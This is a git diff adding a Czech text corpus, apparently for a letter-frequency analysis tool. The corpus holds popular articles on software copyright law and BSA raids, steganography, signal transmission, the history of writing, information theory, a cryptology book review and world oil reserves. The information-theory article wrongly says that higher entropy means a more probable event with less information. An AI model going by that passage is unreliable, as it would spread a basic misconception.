zasahu, aby vycislil svou skodu, muze dojit k tomu, ze po vas bude pozadovat za pouziti sveho dila odmenu. Pokud se jedna o freeware pro nekomercni pouziti, pak takovy software nesmi byt bez splneni licencnich podminek pouzivan na firemnich pocitacich a to ani v pripade, kdy si jej zamestnanec nainstaloval pro sve soukrome pouziti. Jednou se jedna o firemni pocitac a jako takovy je bran. Vyjimky neexistuji. + +Zatim jsem se jeste zapomnel zminit o tom, komu autorska prava nalezi. Autorska prava nalezi autoru dila (tj. konkretni fyzicke osobe) a ten se techto prav podle §11/4 nemuze nijak vzdat. Jednim z techto prav je napriklad to, ze ma autor dila pravo na to, aby bylo dilo oznaceno jeho jmenem. To plati i v pripade, kdy dilo vyvyji napriklad v zamestnaneckem pomeru pro firmu, nebo zak pri praci na skolnim dile. Pravo uvedeni jmena autora proste plati ve vsech pripadech. Pokud autor skutecne nestoji o publicitu a s autorstvim dila nechce mit nic spolecneho, muze udelat pouze to, ze dilo uverejni anonymne bez uvedeni sveho jmena. Pokud vas zajimaji podrobnosti o vytvareni del ve skolach nebo v zamestnaneckem pomeru, pak vas take odkazi na autorsky zakon, ve kterem na sve otazky naleznete odpoved. +Vyjimka pro osobni pouziti + +Kdyz uz se bavime o autorskem zakone, je dulezite zminit take §30, ktery umoznuje vytvoreni rozmnozeniny a uziti del s vyjimkou pocitacovych programu a databazi, pro osobni uziti. Z tohoto paragrafu proto vyplyva, ze muzete vlastnit a mit na nosicich nebo v pocitaci ulozeno nepreberne mnozstvi hudebnich nahravek, filmu, knih v elektronicke podobe, fotek a cehokoliv dalsiho, pokud se nebude jednat o programy nebo databaze. Nekomu by mohlo pripadat divne, ze vam nekdo dava neco zadarmo. Nenechte se vsak plest. Autori del maji podle §25 narok na odmenu za uziti dila pro osobni potrebu a tuto odmenu ziskavaji z prodeje pristroju pro tvorbu rozmnozenin a z prodeje prazdnych nosicu. +BSA +O teto organizaci jste jiz urcite take slyseli. V mnoha lidech vyvolava nazev teto organizace dojem, ze jde o jakousi softwarovou polici, ktera k vam muze kdykoliv vtrhnout do domu nebo do firmy a provest kontrolu legality softwaru na vasich pocitacich. Skutecnost je vsak jina. Jde o organizaci, ktera byla zalozena softwarovymi firmami, aby je zastupovala v soudnich rizenich pri pouzivani jejich nelegalniho softwaru. Pro zminene firmy je totiz daleko jednoduzsi pokud se s pachateli soudi spolecne, nez kdyby se kazda ze spolecnosti musela soudit sama. Ve vetsine zemi funguje tato spolecnost pouze jako pravni kancelar. U nas se jedna o advokatni kancelar Vobornik - Nigrini, ktera se specializuje na autorske pravo a na internetu ji najdeme na strance www.bsa.cz. BSA navic plni funkci osvety a prevence, kdy upozornuje predevsim firmy na rizika spojena s pouzivanim nelegalniho softwaru. Tou nejznamejsi funkci, kterou BSA zastava vsak zustava podavani trestnich oznameni pri podezreni z pouzivani nelegalniho software a neprilis oblibeny prijem anonymnich udani. Na sdruzeni BSA se totiz muze obratit kdokoliv, kdo ma podezreni nebo dukazy, ze k pouzivani nelegalniho software dochazi. Casto jsou timto zpusobem reseny konkurencni boje mezi spolecnostmi, prevazne z rad projektantu a architektu, kteri ke sve praci potrebuji ne zrovna levny software a proto casto pouzivaji jeho nelegalni kopie. Na tomto miste jeste zminim cesty, kterymi se autor muze domahat svych prav. Pokud se chce autor dila soudit se softwarovym piratem, muze jit budto do civilniho sporu, kde musi zajistit veskere dukazy a vynalozit spousty financnich prostredku, nebo muze podat trestni oznameni a s obvinenym se potom na sve naklady soudi stat. Je zrejme, ze trestni rizeni je pro poskozene autory daleko vyhodnejsi a proto se ve vetsine pripadu uchyluji prave k nemu. V trestnim zakoniku existuji totiz §150 a §151, ktere pokladaji porusovani autorsych prav za trestny cin. + +Kdyz uz dojde k policejnimu zasahu + +K policejnimu zasahu dochazi ve chvili, kdy je podano trestni oznameni. To muze podat kdokoliv, ale nejcasteji jej podava prave BSA po obdrzenem udani nebo pri podezreni na trestou cinnost. Ve vetsine pripadu se jedna o zasah kontrolujici legalnost softwaru ve firmach. Na domaci uzivatele dochazi jen zridka. Kdyz uz je zahajeno rizeni s domacim uzivatelem, jedna se hlavne o softwarove piraty, kteri svuj nelegalni bussiness rozjeli ve velkem. Zasahovat muze pouze policie CR a to pouze pokud je vybavena soudnim povolenim. Zasah nemuze provadet mestka policie, ci jine organy. K provedeni policeni kontroly je potreba tolika policistu, kolik je ve firme pocitacu. Kazdy policista okamzite odpoji pocitac od site (az na vyjimky si to nespletou s elektrorozvodnou siti :) a zacne pomoci specializovaneho programu schromazdovat informace o tom, jaky software je na pocitaci nainstalovan. V urcitych pripadech, kdy neni mozna kontrola na miste, muze byt pocitac odvezen do kriminalistickeho ustavu. Z vyse uvedeneho duvodu se nemusi prilis bat policejniho zasahu velke firmy, ve kterych se nachazi stovky pocitacu. Nejsnadnejsim tercem se stavaji firmy o cca dvaceti pocitacich. Policie ma na zaklade soudniho povoleni moznost kontroly pouze tech pocitacu, ktere jsou ve vlastnictvi kontrolovaneho subjektu. Pokud tedy mate napriklad ve firme svuj osobni pocitac, nemuze policie pristoupit i k jeho kontrole. Kontrola se dale netyka obsahu datovych nosicu. Budete-li mit vedle pocitacu polozena zaznamova media, pak na nich muzete mit, co chcete a tyto se nestanou obsahem probihajici kontroly. Ta se zameruje vzdy jen na nainstalovany software. Jakmile policie skonci se soupisem nainstalovaneho softwaru, je nalez predan soudnimu znalci k vyhodnoceni. Na majiteli pocitacu nasledne je, aby dolozil legalitu zjisteneho softwaru. Pokud se v pocitacich najde nainstalovany software, u ktereho nemuze majitel pocitace dolozit jeho legalni nabyti, vyziva policie autory softwaru, aby si vycislili vzniklou skodu. V tuto chvili je posledni sance na mimosoudni vyrovnani, ktere je v kazdem pripade pro pachatele vyhodnejsi, nez dlouhotrvajici soudni spor. V blizke budoucnosti budou moci legalitu softwaru ve firmach kontrolovat i financni urady, pricemz v soucasne dobe probihaji prvni skoleni techto uredniku. +Jake jsou tresty + +Pri prokazanem pouziti nelegalniho softwaru je pachtel povinnen uhradit krome nahrady skody take vydani bezduvodneho obohaceni autoru dila ve vysi dvojnasobku obvykle odmeny za uziti dila. Navic by bylo mylne se domnivat, ze nahradou skody a vydanim bezduvodneho obohaceni, si pachatel software zlegalizuje. Pokud chce dany software pouzivat, musi si jej nasledne jeste koupit. Celkem v takovem pripade zaplati pachatel mimo nahradu skody software trikrat. Krome peneziteho trestu stanovuje trestni zakon tresty i v podobe propadnuti veci nebo odneti svobody. Tento paragraf si proto dovolim citovat nize. Jen jeste uvedu, ze znacnym prospechem v odstavci 2 je mysleno obohaceni, nebo-li pouziti nelegalniho software v hodnote presahujici 500.000Kc. + +§ 152 Porusovani autorskeho prava, prav souvisejicich s pravem autorskym a prav k databazi +(1) Kdo neopravnene zasahne do zakonem chranenych prav k autorskemu dilu, umeleckemu vykonu, zvukovemu ci zvukove obrazovemu zaznamu, rozhlasovemu nebo televiznimu vysilani nebo databazi, bude potrestan odnetim svobody az na dve leta nebo penezitym trestem nebo propadnutim veci. +(2) Odnetim svobody na sest mesicu az pet let nebo penezitym trestem nebo propadnutim veci bude pachatel potrestan, +a) ziska-li cinem uvedenym v odstavci 1 znacny prospech, nebo +b) dopusti-li se takoveho cinu ve znacnem rozsahu. + +Priste si probereme, cim pro nas muze byt softwarovy audit prospesny a cim dokladovat legalitu softwaru. \ No newline at end of file diff --git a/php/frekvencni_analyza/czech.txt b/php/frekvencni_analyza/czech.txt new file mode 100644 index 0000000..a338e94 --- /dev/null +++ b/php/frekvencni_analyza/czech.txt @@ -0,0 +1,219 @@ +O sifre DN a hashovaci funkci HDN +Autor: .cCuMiNn. + +Rekne-li se jmeno Vlastimil Klima, jiste si kazdy z vas vybavi jeho nositele, predniho ceskeho kryptologa, ktery je znam jak u nas, tak i v zahranici diky sve jedinecne praci, kterou v oblasti kryptologie odvadi. Je autorem skoro dvou stovek odbornych clanku a mnoha prednasek. Podili se na vyvoji spickovych sifrovacich technologii a mezi jeho prace lze pocitat projekty pro NBU, prvni cesky sifrovaci chip, prvni on-line sifrovani ve Windows a nekolik sifrovacich algoritmu. Do povedomi siroke verejnosti se zapsal predevsim algoritmem nejrychlejsiho nalezeni kolizi u hashovaci funkce MD5 z lonskeho roku. + +V poslednich dnech se vsak nejvice mluvi o specialni blokove sifre DN a hashovaci funkci HDN, ktere jsou diky zcela novemu pojeti meznikem v oblasti kryptologie. Vlastimil Klima stravil nad projektem dlouhe dva roky, jejichz vysledkem je popis slabin soucasnych sifrovacich algoritmu a novy, mnohem bezpecnejsi koncept, ktery je tak prevratny, ze jej NBU uvolnil ke zverejneni a oponenture. + +Vysledek sve prace publikoval Vlastimil Klima na svem webu a v e-zinu Crypto-world, ktery je registrovanym odberatelum dostupny ke stazeni na strance http://crypto-world.info. Volne dostupny bude ovsem az za tri tydny a tak redakce e-zinu Crypto-world souhlasila s uverejnenim tohoto clanku na nasem portale. Vy se tak muzete zacist do techto nadcasovych informaci, ktere se s nejvetsi pravdepodobnosti zapisi tucnym pismem do dejin kryptologie. + +Prace Vlastimila Klimy vcetne uvodu Tomase Rosy o specialni blokove sifre DN a hashovaci funkci HDN ke stazeni: Rodina specialnich blokovych sifer DN a hasovacich funkci nove generace HDN typu SNMAC +Ptejte se Vlastimila Klimy + +Az do konce brezna mate navic moznost polozit Vlastimilu Klimovi svuj doplnujici dotaz prostrednictvim nize umisteneho formulare. Abych trochu uklidnil ty z vas, kteri by meli pred timto velikanem ostych, neodpustim si citaci pana Klimy, ktery mi ve svem e-mailu napsal tato slova: + +„Otazky od ctenaru, vsechny, dokonce i ty zcela zdanlive nejhloupejsi otazky (maji blize ke genialite nebo necemu prevratnemu nez ty prumerne chytre), jsou pro me zpestrenim, duvodem k zamysleni a motivaci.“ + +(Tato moznost jiz koncem brezna skoncila. Odpovedi na sve dotazy naleznete v tomto clanku.) + +Sifry a kody moderni doby 4.dil +Autor: .cCuMiNn. + +Steganografie + +Jakmile si lide zacali uvedomovat cenu nekterych informaci, zacali premyslet, jak tyto informace ukryt pred zraky tech, jimz tato informace neni urcena. Mnohdy totiz stalo az prilis penez, ci lidskych zivotu, pokud se informace ocitla v nespravnych rukou. +Skryti :) +Steganografie +(z reckych slov steganos-skryte, graphein-pismo) + +Vedni obor, ktery se zabyva utajenim informaci s cilem ukryt komunikaci pred okolnim svetem. + +Asi nejstarsi dolozitelna zminka o pouziti steganografie pochazi ze stare povesti, jejiz dej se odehrava v patem stoleti pred nasim letopoctem, v dobe vlady krale Dariuse. Ten veznil Reka Histiaea, ktery tajne odeslal zpravu svemu zeti Aristagorovi do Anatolianu tak, ze zpravu nechal vytetovat na oholenou hlavu sveho otroka. Teprve pote co hlava otroka opet zarostla vlasy, vydal se na cestu, aby tento vzkaz dorucil. Prijemce zpravy nechal hlavu otroka opet oholit, aby si tak mohl informaci vytetovanou na jeho hlave precist. Sami vidite, ze se jednalo o velice zdlouhavou proceduru, kterou nebylo mozne pouzit ve vsech pripadech utajovane komunikace. + +V historii se proto setkavame s dalsimi zpusoby pouziti steganografie. V antickem Recku se napriklad pouzivaly drevene desticky. Na ty se vzkaz nechal napsat nebo do nich vyryt a posleze se zalil vrstvou vosku, ktery byl podobneho vzhledu jako desticka. Informace se pak objevila teprve ve chvili, kdy se vosk opet zahral a z desticky odstranil. + +Patrne nejznamejsi steganograficke metody zname z historie jsou zalozeny na pouziti ruznych neviditelnych inkoustu. Zpravy napsane takovouto tekutinou nebyly za beznych podminek na papire viditelne a svuj obsah odhalovaly teprve, pokud byly vystaveny zvlastnimu osvetleni nebo pokud prosly nejakou chemickou cestou, nejcasteji po zahrati archu nad plamenem. Mezi tyto neviditelne inkousty patrily ruzne ovocne stavy (vymackany citron), mleko nebo moc. Dnes se muzeme v zabavne steganografii setkat s neviditelnymi inkousty, ktere jsou bezne k dostani v obchodech, napriklad v podobe fixu, jejichz pismo je citelne, pouze pod ultrafialovym zarenim. + +Dalsi z metod, kterou si muzete sami vyzkouset, je pismo pod skorapku neoloupaneho, natvrdo uvareneho vajicka. Rikate si, ze to neni mozne? Jiz v patnactem stoleti popsal tuto metodu italsky renesancni vedec Giovanni Battista della Porta. Pripravite-li si roztok octa a kamence (je bezne dostupny v drogerii), muzete timto roztokem neviditelne psat po skorapce uvareneho vajicka, pricemz roztok pronika az na bilek a zanechava na nem kresby. Vysledek je citelny az ve chvili, kdy nekdo vejce oloupe a jeho popsany bilek odhali. Stejne tak priklady ukryti informace ve skorapce od orechu nejsou nijak ojedinele. Z doby druhe svetove valky pak jsou zname priklady, kdy byla informace drobounkym pismem napsana na druhe strane knofliku nebo byla ukryta na pasu filmu pomoci jakychsi mikrotecek. + +Pouziti steganografie muzeme dale podporit neznamym zpusobem kodovani nebo zasifrovanim skryvane informace. Zved usilujici o takovou informaci je postaven hned pred dva nelehke ukoly. Skrytou informaci musi nejenom nalezt a prolomit tak steganografii, ale pote i dekodovat nebo desifrovat a tim prorazit kryptologii. + +Ukazeme si zde par prikladu, ktere spojuji steganografii s Morseovym kodovanim (Morseova abeceda). Informaci, kterou potrebujeme ukryt nejprve znak po znaku zakodujeme Morseovym kodovanim za pouziti nasledujici tabulky do vysledku skladajiciho se pouze z tecek a carek. + +A takto bychom ji mohli ukryt pomoci steganografie: + +- Velikosti pismen +Nahrazenim tecek za mala pismena a carek za pismena velka. Jednotliva slova volime stejne delky jako je pocet carek a tecek jednoho pismena. Nejlepsich vysledku pak dosahneme, pokud vznikla veta dava smysl. + +Ukryti informace do velikosti pismen. + + +- Nakreslenim pily +Tecky delame jako nizsi zuby, carky jako vyssi. Pismena oddelujeme mensim zubem smerujicim dolu, cela slova pak zubem vetsim. + +Sifry a kody moderni doby 3.dil +Autor: .cCuMiNn. + +Signal a jeho prenos +Po precteni prvnich kapitol, kde jsme se seznamili s informacemi a zpusobem jejich kodovani, prichazi nyni na radu, rici si neco o cestach, kterymi se zakodovana informace muze sirit. K cemu by informace byla, pokud by se nemohla prenaset? + +Signal – znameni s urcitym vyznamem, ktere s sebou nese informaci. + + +Signaly se k prenosu informace vyuzivaji od nepameti. Nejprve slouzily k prenosu zprav mezi u sebe stojicimi jedinci nebo se signaly predavaly jako znameni pomoci ruznych obrazcu. Objevila se vsak myslenka na rychly prenos informace na velke vzdalenosti. Americti Indiani pouzivaly napriklad kourove signaly a africane prenaseli zpravy zvukem pomoci bubnu. Zhruba pred tremi tisici lety zacaly prvni rise stavet signalni site straznic na vyvysenych mistech, odkud se mohly informace sirit v podobe kourovych, ohnivych, vlajkovych nebo jinych signalu na velikou vzdalenost a rychle tak dokazaly pozadat o pomoc pri napadeni. Z jednoho takoveho stanoviste bylo vzdy videt k mistum dalsim, takze vznikala jakasi postupna reakce tvorena napriklad zapalovanim hranic a signal se tak mohl prenest na stovky kilometru vzdalena mista. Signal prenasejici informaci, se tak stal dulezitou soucasti zivota. Kdo neovladal umeni prenest informaci, mel ve valkach predem predurcenu porazku. Stejne podstatne, jako schopnost prenaset vlastni informace, je pro strategicke ucely valky dulezite narusovani komunikace nebo obsah zprav znepratelene strany. Drive se stacilo zmocnit jedne signalni hranice a cela sit byla nahle narusena. Stejne tak bylo mnoho bitev vyhrano diky podvrzeni falesnych zprav a odchycenim zprav druhe strany. Asi nejvetsi a nejznamejsi vladce, ktery dokazal s informacemi a jejich prenosem delat prave zazraky byl Alexandr Veliky, ktery se tak stal jednim z nejmocnejsich vladaru. Dnes se pro ruseni signalu pouzivaji nejruznejsi rusicky radioveho signalu a jina podobna zarizeni. Na Internetu se s podobnym rusenim muzeme setkat napriklad v podobe DOS utoku, ktery nam odepre ziskani pozadovanych informaci. + +Popiseme si zde blize jakym zpusobem k prenosu informace dochazi. +Schema prenosu signalu + + * Zdroj zpravy (informace) + * Kodovani (prevede informaci na dohodnuty tvar) + * Modulace (premeni zakodovanou informaci na prenosovy signal) + * Prenos signalu (sireni signalu prenosovou cestou) + * Demodulace (premeni signal na zakodovanou informaci) + * Dekodovani (prevede kod na srozumitelnou informaci) + * Prijemce zpravy + + + +Od doby, kdy se signal prenasel vyse popsanym zpusobem uplynuly jiz tisice let, nicmene schema prenosu informace se zachovalo az do dnesni doby. Samozrejme s tim rozdilem, ze doslo k nahrazeni jednotlivych fyzickych soucasti modernimi prvky. Funkci vojaka jez zapaluje hranici, nahradili elektronicke kodery a modulatory, ktere prevadi informace na presne elektricke signaly. Rychlost a objem prenasenych informaci se take mnohonasobne zvysily. Zpusoby, jakymi se dnes na dlouhe vzdalenosti signaly prenasi jsou jine. V dnesni dobe nam k prenosu informace slouzi nejcasteji elektricke impulsy nebo elektromagneticke vlneni. + +Moderni historie prenosu informace se zrodila na prelomu 18. a 19. stoleti, kdy byl vynalezen telegraf. Doslo k vytvoreni telegrafni site, ktera se zacala nahrazovat siti telefonni pote, co Alexander Graham Bell sestrojil v roce 1876 prvni telefonni pristroj. Z prenosu signalu se stal business. Dnes jsme obklopeni signaly temer vsude, kde se nachazime. Kolem nas na ruznych frekvencich proudi kazdou vterinou miliony bitu ruznych informaci, od rozhlasovych ci televiznich vysilani, pres pasma mobilnich operatoru ci site poskytovatelu wi-fi pripojeni k Internetu. Z druzic na obezne draze na nas neustale dopadaji informace o presnem case pro urceni presne polohy (GPS), prochazime se pod dratovym vedenim telefonnich spolecnosti a vse nam pripada naprosto normalni. + + +Alexandr Makedonsky (Veliky) Alexandr Makedonsky (Veliky) +(20.7.356pr.n.l. – 13.6.323pr.n.l.) + +Jedna z nejvetsich osobnosti svetoveho valecnictvi. +Jako jeden z prvnich dokazal ovladnout silu informace a tuto schopnost nalezite vyuzit ve svych valecnych tazenich. + + +Kdo ma informace, je mocny. Ten, kdo jich ma vice a rychleji je mocnejsi. Zivot bez informaci a bez jejich prenosu neni v soucasne spolecnosti mozny. + +Sifry a kody moderni doby 2.dil +Autor: .cCuMiNn. + +Kodovani +Kdyz nyni vime co jsou to informace, je na case si povedet neco o zpusobu, jakym informace sdelujeme. Informace sami o sobe by byly pouze zmeti chaosu, kdyby neexistovalo kodovani. + + +Kodovani - dohodnuty zpusob komunikace, neboli souhrn pravidel pro vyjadreni informace. + + +Nebudeme-li pocitat ruzne posunky, mimicka gesta a skreky, ktere mezi kody samozrejme patri take, muzeme za nejstarsi kodovani povazovat jazyk, kterym se lide dorozumivaji a pismo, ktere informaci dokaze uchovat po veky. Nebude proto od veci, kdyz si historii pisma trochu pripomeneme. + +Historie pisma +Za tvurce prvniho pisma jsou povazovani Sumerove. Ti zacali nejdrive pouzivat obrazkove pismo, kde kazdy obrazek vyjadruje jednu konkretni vec nebo osobu. Takovemu pismu rikame piktogramy. Nasledne se jednotlive piktogramy zacaly slucovat do slozitejsich obrazku, ktere vyjadrovaly cele myslenky, ci deje. Tyto nazyvame ideogramy. + +Rosettska deska Materialem pro zaznamenani informaci se na dlouhou dobu stal kamen. Diky pouziti tohoto tvrdeho materialu se podarilo uchovat tisice let stare pisemne dedictvi az do dnesni doby. O davno zaniknutych civilizacich se muzeme docist napriklad z egyptskych hieroglyfu, ktere se podarilo rozkodovat teprve nedavno. Francouzky vedec Jean Francois Champollion diky zname Rosettske desce, dokazal roku 1822 precist informace, ktere zustavaly po staleti zapomenuty. Tato vzacna kamenna deska, ktera byla nalezena roku 1799 dustojnikem Napoleonske armady, obsahuje totiz text v hieroglyfech a soucasne preklad textu v rectine. + +Klinove pismo Tesani informaci do kamene, bylo pomerne narocne, v Mezopotamii se proto pouzivaly tabulky z vlhke, tvarne hliny, do kterych se seriznutym rakosem vrypovalo pismo slozene prevazne z car. Vrypy tvaru klinu, dali nazev klinovemu pismu, jehoz vznik je prisuzovan take Sumerum. Tabulky se pote nechali vysusit na slunci nebo se ve vyjimecnych pripadech vypalovaly. Mezi dalsimi materialy pro zaznam pisma najdeme papyrus nebo pergamen. + +Za dalsi dulezity meznik v historii lze povazovat vznik foinickeho pisma. Toto pismo vzniklo kolem roku 1500 pr.n.l. a na rozdil od piktogramu nebo ideogramu predstavoval kazdy znak urcitou slabiku. Pismo obsahovalo pouze souhlasky a celkem bylo slozeno ze 22 znaku. Foinicke pismo prevzali pozdeji Rekove, kteri jej upravili a rozsirili o nektera pismena vcetne samohlasek. Recka abeceda se rozsirila do Italie, kde dala vzniknout latince, kterou pouzivame dodnes. + +Soucasna kodovani +S kody v ruznych podobach se setkavame opravdu na kazdem kroku. Auto ukazujici na krizovatce smer jizdy vysila kod, ktery si spravne interpretujeme, predpokladame-li jeho odboceni. Semafor na krizovatce nas pomoci barevnych kodu take informuje o urcite situaci, na kterou musime reagovat. Krome pisma pouzivame dale barevne, obrazkove ci zvukove kody. Obrazkove kody, kterymi jsou napriklad dopravni znacky nebo symboly na ruznych kontrolkach maji tu vyhodu, ze prekonavaji jazykovou barieru a stavaji se mezinarodne srozumitelne. S rozmachem vypocetni techniky se zacaly pouzivat nove kody (programovaci jazyky), pomoci kterych programatori komunikuji se strojem. U osobniho pocitace se muzete setkat s vyrazem kodovani cestiny a podobne. + +Ten, kdo si pod pojmem kodovani predstavoval tajne sifry, kterym rozumi pouze hrstka vyvolenych, ma nyni snad jasno. Kodovani je bezna soucast vsedniho zivota, nikterak se nesnazi o ukryti informace, ale naopak zajistuje pravidla pro jeji srozumitelny prenos. Jak jsme si vsak ukazali na priklade egyptskych hieroglyfu, nastava jina situace v pripade, ze dojde k zapomenuti pravidel, ktera byla pri kodovani pouzita. V takovem pripade se kryptoanalitici pekne zapoti, nez dokazi tyto kody dekodovat. Dodnes tak mnoho pradavnych kodu ceka na rozlusteni, aby mohli vydat sva tajemstvi… + +Sifry a kody moderni doby 1.dil +Autor: .cCuMiNn. + +Abychom spravne pochopili principy moderniho sifrovani, neobejdeme se bez znalosti historie a nekolika definic. No a kde zacit jinde nez u definice informace, u ktere vsechno zacina a take konci… +Informace +Informace – slovo, ktere kazdy z nas pouziva denne pri mnoha prilezitostech. Informace jsou beznou soucasti naseho zivota, ovlivnuji v nem kazdy okamzik a da se rici, ze bez informaci by v dnesni informacni spolecnosti nemohl clovek existovat. Ne nadarmo se rika, ze informace maji cenu zlata. I kdyz dokazeme toto slovo vsichni bez problemu pouzivat, jen malokdo zna presny vyznam tohoto slova, pricemz dostupnych vykladu a definic muzeme najit hned nekolik. Jelikoz se k informacim pristupuje v ruznych vednich oborech odlisne, jsou i definice v kazdem z nich ruzne, presto se da ale rici, ze zaklad maji vsechny tyto definice stejny. + +Informace – sdelitelny poznatek, ktery ma smysl a snizuje nejistotu. + + +Na prikladech si rozvineme predchozi definici, tak aby byla vsem srozumitelna: + +Do losovaciho bubnu vlozime jeden los. Pokud od nekoho dostaneme zpravu, ze bude vylosovan prave tento los, bude to pro nas informace s nulovou informacni hodnotou, protoze jde o jev jisty. Pokud bychom do bubnu vlozili losu sto a nekdo by nas predem informoval, ktery los bude tazen, bude pro to pro nas informace s vysokou informacni hodnotou, jelikoz jde o jev velmi malo pravdepodobny. + +Podobnym prikladem muze byt i tato uvaha: Je normalni, ze kazdy den jezdim do prace autobusem, ktery vzdy prijizdi presne. Informace typu „zitra prijede autobus presne“ pro me tedy nema temer zadnou hodnotu, vzhledem k tomu, ze to predpokladam. Ovsem informace „autobus ma poruchu a zitra nepojede“ ma pro me informacni hodnotu velikou, protoze to nemohu predpokladat a musim si tim padem zajistit jiny zpusob prepravy. + +Z uvedenych prikladu vyplyva, ze kazda zprava nese urcite mnozstvi informace. Velikost tohoto mnozstvi zalezi na predpokladatelnosti jevu, o kterem informuje. Pravdepodobnost vyskytu urciteho jevu se oznacuje mirou neurcitosti (entropie). Cim je entropie vetsi, je vyskyt jevu pravdepodobnejsi a mnozstvi informace je mensi. Stejne plati i opak, cim je entropie mensi, je mene pravdepodobny vyskyt jevu a mnozstvi informace je proto vetsi. Aby se dala velikost informace porovnavat, byla zavedena velicina informace a jednotkou teto veliciny byl zvolen Sh [shannon]. Nazev byl zvolen podle matematika C.E.Shannona, ktery jako prvni vytvoril definici informace a dokazal jeji meritelnost. + +Claude Elwood Shannon (30. 4. 1916 – 24.2.2001) Claude Elwood Shannon (30. 4. 1916 – 24.2.2001) + +Americky matematik a inzenyr, jeden ze zakladatelu teorie informace. Zamestnanec Bellovych laboratori, v roce 1948 publikoval v casopise Bell System Technical Journal clanek "The Mathematical Theory of Communication". Spolu s Warrenem Weaverem autor obecneho modelu komunikace (1947). + + +V souvislosti s informacemi, se pouzivaji take terminy data a znalosti, ktera maji s informacemi velmi pribuzny vztah. Informace, ktere nemaji samy o sobe smysl nazyvame data a informace, ktere jsme si jiz osvojili a ktere tedy vime, oznacujeme jako znalosti. + +Kryptologie, sifrovani a tajna pisma +Autor: .cCuMiNn. + +obalka knihy Po par mesicich se mi opet dostala rukou kniha venujici se kryptologii. Kniha s vystiznym nazvem Kryptologie, sifrovani a tajna pisma znameho ceskeho kryptologa Pavla Vondrusky, kterou vydalo nakladatelstvi Albatros v edici OKO. Ihned po precteni prvnich stran bylo zjevne, ze autor tuto knihu psal privetivym stylem, ktery je velmi ctivy a porozumet obsahu vam rozhodne nebude cinit potize. + +Autor ctenare postupne zasveti do zakladu kryptologie, vysvetli mu nejpouzivanejsi vyrazy a ukaze prakticke pouziti jednotlivych sifrovacich systemu a pouzivanych sifer. Je jich tolik, ze kdybych mel vsechny sifry a sifrovaci systemy, kterym se kniha podrobne venuje, vyjmenovat, popsal bych zde nekolik stran. Uvedu proto pouze strucny prehled klasickych sifrovych systemu, ktere kniha popisuje: + + * Polyalfabeticke sifry + * Jednoducha transpozice + * Uhloprickove-sloupcova transpozice + * Dalsi transpozicni systemy + * Zlomkovy sifrovaci system + * Kombinovane klasicke sifry + * Steganograficke metody + * Neviditelne inkousty + +U kazdeho z uvedenych sifrovacich systemu jsou uvedeny i jeho slabiny a jsou popsany metody a postupy, kterymi je mozne jednotlive sifry desifrovat. + +Nasleduje bohaty vycet dulezitych dat a mezniku v dejinach kryptologie zhruba od roku 1900 pr.n.l. az po soucasnost. V tomto vyctu nalezne ctenar popis vsech dulezitych sifrovacich systemu, ktere se v historii pouzivaly a se kterymi se muze setkat. + +Panu Vondruskovi se podarilo nenasilnou formou vysvetlit zaklady kryptologie a zapalit tak ve ctenarich touhu po novych informacich. Kniha je tak urcena jak naprostym zacatecnikum, tak i pokrocilejsim zajemcum o tajemstvi tohoto obru. Trochu me zamrzelo, ze kniha nebyla o par set stran tlustsi a ze se autor nemohl vice venovat soucasnym sifrovacim medodam, ktere se bezne pouzivaji ve svete informacnich technologii. Takova kniha mi na pultech knihkupectvi v soucasne dobe opravdu schazi a pral bych si, aby se stala pristim dilem tohoto autora. Ackoli ma kniha Kryptologie, sifrovani a tajna pisma na nasem trhu jiz nejakou tu konkurenci v podobe knih Sifry a kody od hyeroglifu po hackery nebo Sifrovani a biometrika aneb tajemne bity a dotyky, ktera se navic venuje i soucasnym systemum, musim konstatovat, ze uvod do kryptologie zvlada kniha pana Vondrusky mnohem lepe a detailneji nez ostatni zminovane tituly. + +Pokud se mi ve vas podarilo vzbudit zajem o knihu Kryptologie, sifrovani a tajna pisma, pak tato recenze splnila svuj ucel. Nemilou povinnosti vsak zustava upozorneni na skutecnost, ze kniha byla vydana v mensim nakladu a behem kratke doby byla temer vyprodana. Doporucuji vam proto vyrazit na pruzkum knihkupectvi co nejdrive, protoze jedine tak mate jeste sanci zahlednout tuto knihu v nekterem z regalu. Pokud byste to stesti nemeli a knihu jiz nesehnali, nezbyva nez doufat, ze diky uspechu, ktery kniha mela, se brzy dockame i jejiho opetovneho vydani. + + +Budoucnost ropy + +Svetove zasoby ropy se pomalu ztencuji. Spotreba teto tekutiny se kazdym rokem zvysuje a za poslednich 5 let stoupla ze 77 milionu barelu na 84 milionu barelu za den. Z tohoto vyvoje lze jednoduse spocitat, ze behem 21.stoleti budou veskera svetova loziska ropy vycerpana. Jednotlive zeme tezici ropu maji dnes zasoby uz pouze na nekolik desetileti. Saudska Arabie ma pri zvysujici se produkci zasobu maximalne na 40 let. Zasoby Iranu a Iraku se diky velmi nizke tezbe odhaduji na 90 let. V techto statech navic panuje napjata politicka situace a dodavky ropy z techto zemi mohou byt touto skutecnosti znacne poznamenany. Na ruskem uzemi se odhaduje zasoba ropy priblizne na 25 let a nova loziska se v teto zemi budou hledat jen velmi obtizne v mistech tezko dostupnych strojum potrebnym pro tezbu a prepravu. Co se ropy tyce, stane se vsak Rusko pro pristi desetileti pravdepodobne nejspolehlivejsim dodavatelem. + +Nedojde-li na trhu s ropou k nahlym vykyvum dodavek, zpusobenych vojenskymi konflikty v Iranu, rozpadem Saudske Arabie nebo terorismem v Iraku, poroste denni svetova spotreba ropy zhruba k roku 2020. V tomto roce se podle odhadu bude spotreba pohybovat na hranici priblizne 115 milionu barelu za den. V dalsich letech jiz bude ropy viditelne ubyvat a spotreba bude klesat diky neunosne vysoke cene teto tekutiny. + +Je proto zrejme, ze se lidstvo musi touto problematikou zabyvat a musi tedy najit surovinu, kterou by slo „cerne zlato“ plne nahradit. Vedci se jiz dlouho pokousi vyrobit takovou surovinu z obnovitelnych zdroju. Jednim z uspesnych pokusu, ktery z rukou vedcu vzesel je BIO nafta. Tato tekutina je smesi metylesteru a motorove nafty, pricemz metylester se ziskava ze semen repky olejne a v BIO nafte je ho tretinovy podil. Toto palivo navic produkuje mnohem mene spalin nez bezne pohonne hmoty, cimz mene zatezuje zivotni prostredi. V soucasne dobe tvori podil biologickeho paliva zhruba 2% z celkove spotreby pohonnych hmot v Ceske republice. Nase vlada se navic jako clenska zeme Evropske Unie zavazala do roku 2010 zvysit tento pomer na 5,75%. + +Aby se vsak Ceske republice podarilo dostat sveho zavazku, je nutne udrzet vyrobu metylesteru na urovni 100.000 tun za rok. Takto vysoka produkce ale predstavuje zpracovani 280.000 tun semene repky olejne a vyuziti priblizne 120 